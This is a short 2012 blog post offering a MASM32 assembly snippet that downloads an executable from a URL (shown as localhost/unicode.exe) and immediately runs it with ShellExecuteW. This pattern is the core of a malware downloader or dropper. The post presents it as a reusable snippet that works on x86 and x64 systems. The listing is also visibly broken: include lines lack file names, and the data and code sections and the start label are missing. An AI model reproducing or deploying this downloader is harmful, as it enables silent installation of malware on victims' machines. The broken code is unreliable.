Saturday, April 7, 2012

[MASM] Download and Execute with Unicode Support

I have started MASM32 Language. For those who doesn't know what is MASM here is the info
Its a Microsoft Assembler programming language.
Here is my first snippet in MASM.

MASM32 Download Execute with Unicode Support (This Snippet works even with arabic or chinese systems)

;Author SubhashDasyam
;Date   07-April-2012
;Language MASM
;This Download and execute is basic coding in MASM32 with Unicode support
;if you copy please leave credits
;Works for both x64 and x86 systems Tested
;Made with Windows 7 64 bit
;Filesize 2560 Bytes
.model flat,stdcall
option casemap:none    

;Include Libraries 

    include         \masm32\include\
    includelib      \masm32\lib\kernel32.lib

    include         \masm32\include\
    includelib      \masm32\lib\shell32.lib

    include         \masm32\include\
    includelib      \masm32\lib\urlmon.lib  

    include         \masm32\macros\macros.asm ;used for Unicode string for easier USE and understandable

;Data Section    

    WSTR    szFileName,"unicode.exe",0 ;Unicode String the Filename you want to Write as with Null terminated
    WSTR    szURL,"http://localhost/unicode.exe",0 ;The URL you want to Download from
    Invoke URLDownloadToFileW,0,ADDR szURL,ADDR szFileName,0,0 ;Unicode URLDownloadToFileW Win32 API Function Downloads the URL and Stores in same place
    Invoke ShellExecuteW, 0,0,ADDR szFileName,0,0,0;This executes the Downloaded File from Same Place
    Invoke ExitProcess,0 ; After Execution Exit the process
end start

0 comments for "[MASM] Download and Execute with Unicode Support"

Post a Comment